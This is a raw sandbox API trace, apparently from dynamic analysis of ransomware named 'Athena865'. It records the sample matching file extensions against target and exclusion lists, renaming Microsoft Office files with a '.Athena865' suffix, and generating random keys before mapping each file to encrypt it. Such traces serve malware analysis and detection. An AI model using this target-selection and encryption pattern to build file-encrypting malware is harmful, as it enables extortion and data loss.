[0066.236] lstrcmpiW (lpString1="DDS.DLL", lpString2="sqlite3") returned -1 [0066.236] lstrlenW (lpString="sqlitedb") returned 8 [0066.236] lstrcmpiW (lpString1="CDDS.DLL", lpString2="sqlitedb") returned -1 [0066.236] lstrlenW (lpString="xml") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.236] lstrlenW (lpString="$er") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.236] lstrlenW (lpString="4dd") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.236] lstrlenW (lpString="4dl") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.236] lstrlenW (lpString="^^^") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.236] lstrlenW (lpString="abs") returned 3 [0066.236] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.236] lstrlenW (lpString="abx") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.237] lstrlenW (lpString="accdb") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0066.237] lstrlenW (lpString="accdc") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0066.237] lstrlenW (lpString="accde") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0066.237] lstrlenW (lpString="accdr") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0066.237] lstrlenW (lpString="accdt") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0066.237] lstrlenW (lpString="accdw") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0066.237] lstrlenW (lpString="accft") returned 5 [0066.237] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0066.237] lstrlenW (lpString="adb") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.237] lstrlenW (lpString="adb") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.237] lstrlenW (lpString="ade") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.237] lstrlenW (lpString="adf") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.237] lstrlenW (lpString="adn") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.237] lstrlenW (lpString="adp") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.237] lstrlenW (lpString="alf") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.237] lstrlenW (lpString="ask") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.237] lstrlenW (lpString="btr") returned 3 [0066.237] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.238] lstrlenW (lpString="cat") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.238] lstrlenW (lpString="cdb") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.238] lstrlenW (lpString="ckp") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.238] lstrlenW (lpString="cma") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.238] lstrlenW (lpString="cpd") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.238] lstrlenW (lpString="dacpac") returned 6 [0066.238] lstrcmpiW (lpString1="DS.DLL", lpString2="dacpac") returned 1 [0066.238] lstrlenW (lpString="dad") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.238] lstrlenW (lpString="dadiagrams") returned 10 [0066.238] lstrlenW (lpString="daschema") returned 8 [0066.238] lstrcmpiW (lpString1="CDDS.DLL", lpString2="daschema") returned -1 [0066.238] lstrlenW (lpString="db-journal") returned 10 [0066.238] lstrlenW (lpString="db-shm") returned 6 [0066.238] lstrcmpiW (lpString1="DS.DLL", lpString2="db-shm") returned 1 [0066.238] lstrlenW (lpString="db-wal") returned 6 [0066.238] lstrcmpiW (lpString1="DS.DLL", lpString2="db-wal") returned 1 [0066.238] lstrlenW (lpString="dbc") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.238] lstrlenW (lpString="dbs") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.238] lstrlenW (lpString="dbt") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.238] lstrlenW (lpString="dbv") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.238] lstrlenW (lpString="dbx") returned 3 [0066.238] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.239] lstrlenW (lpString="dcb") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.239] lstrlenW (lpString="dct") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.239] lstrlenW (lpString="dcx") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.239] lstrlenW (lpString="ddl") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.239] lstrlenW (lpString="dlis") returned 4 [0066.239] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.239] lstrlenW (lpString="dp1") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.239] lstrlenW (lpString="dqy") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.239] lstrlenW (lpString="dsk") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.239] lstrlenW (lpString="dsn") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.239] lstrlenW (lpString="dtsx") returned 4 [0066.239] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.239] lstrlenW (lpString="dxl") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.239] lstrlenW (lpString="eco") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.239] lstrlenW (lpString="ecx") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.239] lstrlenW (lpString="edb") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.239] lstrlenW (lpString="epim") returned 4 [0066.239] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.239] lstrlenW (lpString="fcd") returned 3 [0066.239] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.240] lstrlenW (lpString="fdb") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.240] lstrlenW (lpString="fic") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.240] lstrlenW (lpString="flexolibrary") returned 12 [0066.240] lstrlenW (lpString="fm5") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.240] lstrlenW (lpString="fmp") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.240] lstrlenW (lpString="fmp12") returned 5 [0066.240] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0066.240] lstrlenW (lpString="fmpsl") returned 5 [0066.240] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0066.240] lstrlenW (lpString="fol") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.240] lstrlenW (lpString="fp3") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.240] lstrlenW (lpString="fp4") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.240] lstrlenW (lpString="fp5") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.240] lstrlenW (lpString="fp7") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.240] lstrlenW (lpString="fpt") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.240] lstrlenW (lpString="frm") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.240] lstrlenW (lpString="gdb") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.240] lstrlenW (lpString="gdb") returned 3 [0066.240] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.240] lstrlenW (lpString="grdb") returned 4 [0066.241] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.241] lstrlenW (lpString="gwi") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.241] lstrlenW (lpString="hdb") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.241] lstrlenW (lpString="his") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.241] lstrlenW (lpString="ib") returned 2 [0066.241] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.241] lstrlenW (lpString="idb") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.241] lstrlenW (lpString="ihx") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.241] lstrlenW (lpString="itdb") returned 4 [0066.241] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.241] lstrlenW (lpString="itw") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.241] lstrlenW (lpString="jet") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.241] lstrlenW (lpString="jtx") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.241] lstrlenW (lpString="kdb") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.241] lstrlenW (lpString="kexi") returned 4 [0066.241] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.241] lstrlenW (lpString="kexic") returned 5 [0066.241] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0066.241] lstrlenW (lpString="kexis") returned 5 [0066.241] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0066.241] lstrlenW (lpString="lgc") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.241] lstrlenW (lpString="lwx") returned 3 [0066.241] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.242] lstrlenW (lpString="maf") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.242] lstrlenW (lpString="maq") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.242] lstrlenW (lpString="mar") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.242] lstrlenW (lpString="marshal") returned 7 [0066.242] lstrcmpiW (lpString1="DDS.DLL", lpString2="marshal") returned -1 [0066.242] lstrlenW (lpString="mas") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.242] lstrlenW (lpString="mav") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.242] lstrlenW (lpString="maw") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.242] lstrlenW (lpString="mdbhtml") returned 7 [0066.242] lstrcmpiW (lpString1="DDS.DLL", lpString2="mdbhtml") returned -1 [0066.242] lstrlenW (lpString="mdn") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.242] lstrlenW (lpString="mdt") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.242] lstrlenW (lpString="mfd") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.242] lstrlenW (lpString="mpd") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.242] lstrlenW (lpString="mrg") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.242] lstrlenW (lpString="mud") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.242] lstrlenW (lpString="mwb") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.242] lstrlenW (lpString="myd") returned 3 [0066.242] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.243] lstrlenW (lpString="ndf") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.243] lstrlenW (lpString="nnt") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.243] lstrlenW (lpString="nrmlib") returned 6 [0066.243] lstrcmpiW (lpString1="DS.DLL", lpString2="nrmlib") returned -1 [0066.243] lstrlenW (lpString="ns2") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.243] lstrlenW (lpString="ns3") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.243] lstrlenW (lpString="ns4") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.243] lstrlenW (lpString="nsf") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.243] lstrlenW (lpString="nv") returned 2 [0066.243] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.243] lstrlenW (lpString="nv2") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.243] lstrlenW (lpString="nwdb") returned 4 [0066.243] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.243] lstrlenW (lpString="nyf") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.243] lstrlenW (lpString="odb") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.243] lstrlenW (lpString="odb") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.243] lstrlenW (lpString="oqy") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.243] lstrlenW (lpString="ora") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.243] lstrlenW (lpString="orx") returned 3 [0066.243] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.243] lstrlenW (lpString="owc") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.244] lstrlenW (lpString="p96") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.244] lstrlenW (lpString="p97") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.244] lstrlenW (lpString="pan") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.244] lstrlenW (lpString="pdb") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.244] lstrlenW (lpString="pdm") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.244] lstrlenW (lpString="pnz") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.244] lstrlenW (lpString="qry") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.244] lstrlenW (lpString="qvd") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.244] lstrlenW (lpString="rbf") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.244] lstrlenW (lpString="rctd") returned 4 [0066.244] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.244] lstrlenW (lpString="rod") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.244] lstrlenW (lpString="rodx") returned 4 [0066.244] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.244] lstrlenW (lpString="rpd") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.244] lstrlenW (lpString="rsd") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.244] lstrlenW (lpString="sas7bdat") returned 8 [0066.244] lstrcmpiW (lpString1="CDDS.DLL", lpString2="sas7bdat") returned -1 [0066.244] lstrlenW (lpString="sbf") returned 3 [0066.244] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.245] lstrlenW (lpString="scx") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.245] lstrlenW (lpString="sdb") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.245] lstrlenW (lpString="sdc") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0066.245] lstrlenW (lpString="sdf") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.245] lstrlenW (lpString="sis") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.245] lstrlenW (lpString="spq") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.245] lstrlenW (lpString="te") returned 2 [0066.245] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.245] lstrlenW (lpString="teacher") returned 7 [0066.245] lstrcmpiW (lpString1="DDS.DLL", lpString2="teacher") returned -1 [0066.245] lstrlenW (lpString="tmd") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.245] lstrlenW (lpString="tps") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.245] lstrlenW (lpString="trc") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.245] lstrlenW (lpString="trc") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.245] lstrlenW (lpString="trm") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.245] lstrlenW (lpString="udb") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.245] lstrlenW (lpString="udl") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.245] lstrlenW (lpString="usr") returned 3 [0066.245] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.245] lstrlenW (lpString="v12") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.246] lstrlenW (lpString="vis") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.246] lstrlenW (lpString="vpd") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.246] lstrlenW (lpString="vvv") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.246] lstrlenW (lpString="wdb") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.246] lstrlenW (lpString="wmdb") returned 4 [0066.246] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.246] lstrlenW (lpString="wrk") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.246] lstrlenW (lpString="xdb") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.246] lstrlenW (lpString="xld") returned 3 [0066.246] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.246] lstrlenW (lpString="xmlff") returned 5 [0066.246] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0066.246] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.Athena865") returned 63 [0066.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.athena865"), dwFlags=0x1) returned 1 [0066.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.247] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1250224) returned 1 [0066.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.248] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.248] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.248] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.248] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1316b0, lpName=0x0) returned 0x17c [0066.250] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1316b0) returned 0x2d50000 [0066.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.297] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.297] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.298] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.308] CloseHandle (hObject=0x17c) returned 1 [0066.309] CloseHandle (hObject=0x154) returned 1 [0066.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.314] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".") returned 1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="..") returned 1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="windows") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="bootmgr") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="temp") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="pagefile.sys") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="boot") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="ids.txt") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="ntuser.dat") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="perflogs") returned -1 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2="MSBuild") returned -1 [0066.314] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0066.314] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCDDSF.DLL" | out: lpString1="ACCDDSF.DLL") returned="ACCDDSF.DLL" [0066.314] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0066.314] lstrlenW (lpString="Athena865") returned 9 [0066.314] lstrcmpiW (lpString1="CDDSF.DLL", lpString2="Athena865") returned 1 [0066.314] lstrlenW (lpString=".dll") returned 4 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".dll") returned 1 [0066.314] lstrlenW (lpString=".lnk") returned 4 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".lnk") returned 1 [0066.314] lstrlenW (lpString=".ini") returned 4 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".ini") returned 1 [0066.314] lstrlenW (lpString=".sys") returned 4 [0066.314] lstrcmpiW (lpString1="ACCDDSF.DLL", lpString2=".sys") returned 1 [0066.315] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0066.315] lstrlenW (lpString="bak") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.315] lstrlenW (lpString="ba_") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.315] lstrlenW (lpString="dbb") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.315] lstrlenW (lpString="vmdk") returned 4 [0066.315] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.315] lstrlenW (lpString="rar") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.315] lstrlenW (lpString="zip") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.315] lstrlenW (lpString="tgz") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.315] lstrlenW (lpString="vbox") returned 4 [0066.315] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.315] lstrlenW (lpString="vdi") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.315] lstrlenW (lpString="vhd") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.315] lstrlenW (lpString="vhdx") returned 4 [0066.315] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.315] lstrlenW (lpString="avhd") returned 4 [0066.315] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.315] lstrlenW 